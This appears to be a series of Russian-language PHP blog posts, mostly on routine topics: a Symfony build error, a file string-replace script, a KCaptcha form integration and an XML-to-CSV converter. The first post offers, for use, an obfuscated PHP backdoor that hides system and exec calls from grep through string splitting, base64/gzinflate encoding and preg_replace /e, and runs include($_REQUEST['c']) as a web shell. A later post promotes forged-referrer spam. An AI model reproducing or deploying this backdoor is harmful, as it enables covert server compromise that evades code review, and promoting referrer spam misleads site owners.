Недавно ломал голову над тем, есть ли замена функции eval() в php.
Задача: Сделать возможность вызова функций system, passthru, exec и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (grep -rl ‘function‘ /path) данные функции не светились.
Немного поломав мозг, пришел к такому решению:
// функции для выполнения
$funcs = array(
'g'.'z'.'i'.'n'.'f'.'l'.'a'.'t'.'e',
'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e',
'p'.'h'.'p'.'i'.'n'.'f'.'o'
);
$strng = 'KyhKLUtNAQA='; # прогнанный через gzinflate base64 хэш имени функции (preved)
function preved() {
############## Здесь любой код для выполнения ############
(isset($_REQUEST['c'])) ? include($_REQUEST['c']) : die();
###########################################################
}
function test() {
global $funcs, $strng;
$result = $funcs[0]($funcs[1]($strng));
return $result(); // заменить на $func[X], если не нужно вызывать функцию preved()
}
echo preg_replace("/123/e",test(),456);
Как видно из листинга, скрипт использует баг в функции preg_replace() с флагом /e. Разобраться с ним не сложно.
В результате получился скрипт, который может выполнять практически любые функции, кроме eval(), так как:
это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций (c) мануал
Единственный минус – можно выполнить поиск по имени функции preg_replace(), но ее можно зашифровать аналогично примерам из скрипта или любым другим способом.
На работе пишу интернет-магазин на Symfony, и в ходе разработки иногда появляются маленькие косяки, на которые убиваю очень много времени.
В частности, при ребилде проекта (doctrine:build-all-reload) все время выскакивала ошибка о том, что класс sfGuardGroup был определен 2 раза. Причем даже при удалении всех файлов с классами из /lib/model/doctrine/sfDoctrineGuardPlugin/base все создавалось по-новой. Решение оказалось довольно-таки простым, но сразу я до него почему-то не додумался.
Оказывается в модели /config/doctrine/schema.yml и /plugins/sfDoctrineGuardPlugin/config/doctrine/schema.yml была описана одна и та же таблица, на основе которой генерировался данный класс. Только до сих пор не могу понять откуда взялся этот /config/doctrine/schema.yml, может быть это глюк самого sfGuardPlugin.
Прикрутил xDebug к php, очень удобная штука для отладки скриптов, пока доволен.
P.S. На этой неделе собираюсь на море, надеюсь погода не подкачает
Сохраняю для себя, часто пользуюсь, может кому тоже полезно будет.
Скрипт берет все файлы в директории и меняет в нем заданные строки на новые.
$pages = glob("/home/user/public_html/files/*");
$chto = 'hello world!';
$nachto = 'привет, мир!';
foreach($pages as $page)
if(!substr_count((string)$page, 'index.php')) {
$data = file_get_contents($page);
$data = str_ireplace($chto, $nachto, $data);
file_put_contents($page, $data);
}
Ничего сложного, но если бы не скрипт – много бы было возни лишней.
Уверен что многие блоггеры, ровно как и оптимизаторы/администраторы сайтов мониторят статистику переходов на свои ресурсы через сервис Liveinternet, к примеру.
А что, надо это как-то использовать. А как использовать? Правильно, брать базу тематичных сайтов и слать по ним http запросы с поддельным referrer’ом.
Натолкнуло на мысль давно, но как-то не придавал этому значение. А тут в ежедневной статистике блога вижу один и тот же url сайта, с которого идут переходы, хотя активной ссылки на ресурсе нет.
Вот для примера:
Понятное дело, что приток трафика будет совсем не большой, да и тот «админский»
Как такое реализовать? Достаем базу тематичных сайтов/блогов, пишем скрипт, который бы слал запросы с поддельным http_referrer на эти сайты. Кому интересно – могу выложить скрипт.
P.S. Сегодня приятно удивился, когда увидел на страницах журнала ][akep анонс своего скрипта, который написал еще два с лишним года назад. Приятно, черт возьми…
Наверняка многие, кто работает с партнеркой 8088, сталкиваются с проблемой спама в формах заявок, что существенно подрывает конверт и делает лишнюю работу модераторам партнерки.
С недавних пор тоже озадачился этой проблемой и сейчас расскажу как я ее решил.
Начну с того, что страница с формой заявки находится на поддомене одного из моих сайтов. То есть, кроме этой формы на странице больше ничего нет. Так что буду описывать все исходя из этих данных.
Прикручиваем KCaptcha к этой форме. Итак, для начала скачаем архив с kcaptcha к себе и распакуем его. В итоге, увидим такую картину:
/
include
captcha.php
Затем открываем /include/kcaptcha_config.php и изменяем все по вкусу. Теперь в той же директории, что и kcaptcha, создадим файлы:
/
index.php
func.js
В index.php в самом начале добавляем
Далее, добавляем перед формой партнерки
Вы неверно ввели код с картинки.");
} else {
$doctor = $_POST['doctor'];
$region = $_POST['region'];
$name = $_POST['name'];
$phoneprefix = $_POST['phoneprefix'];
$phone = $_POST['phone'];
$comment = $_POST['comment'];
$programID = $_POST['programID'];
$partnerID = $_POST['partnerID'];
// посылаем http запрос на http://partner.8088.ru/query.php
$curl = curl_init(); // инициализируем cURL
// А дальше устанавливаем опции запроса в любом порядке
curl_setopt($curl, CURLOPT_URL, 'http://partner.8088.ru/query.php'); // Здесь устанавливаем URL к которому нужно обращаться
curl_setopt($curl, CURLOPT_FAILONERROR, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 3); // устанавливаем таймаут в секундах
curl_setopt($curl, CURLOPT_POST, 1); // устанавливаем метод POST
curl_setopt($curl, CURLOPT_POSTFIELDS, "doctor=$doctor&region=$region&name=$name&phoneprefix=$phoneprefix&phone=$phone&comment=$comment&programID=$programID&partnerID=$partnerID"); // сам POST запрос
curl_exec($curl);
//$result = curl_exec($curl); // выполняем запрос и записываем в переменную
curl_close($curl); // заканчиваем работу curl
die();
//echo $result; // собственно печатаем результат
}
}
?>
Теперь в форму партнерки добавим одну строчку
echo '
Введите число с картинки
<input name="keystring" size="10" type="text" /><img src="captcha.php?'.session_name().'='.session_id().'" alt="" />';
Вот в общем-то и все. Скачать посмотреть пример реализации можно здесь. Не забудьте в форме заменить XXXX на ваш партнерскй id.
Xml2csv - скрипт, который конвертирует файлы в формате XML в формат CSV (MS Excel).
Изначально скрипт был написан мной для конверта xml баз партнерки Sotmarket, но его так же успешно можно использовать и для других xml файлов. Достаточно лишь поместить их в директорию files, а затем выбрать из списка.
15-07-2023
1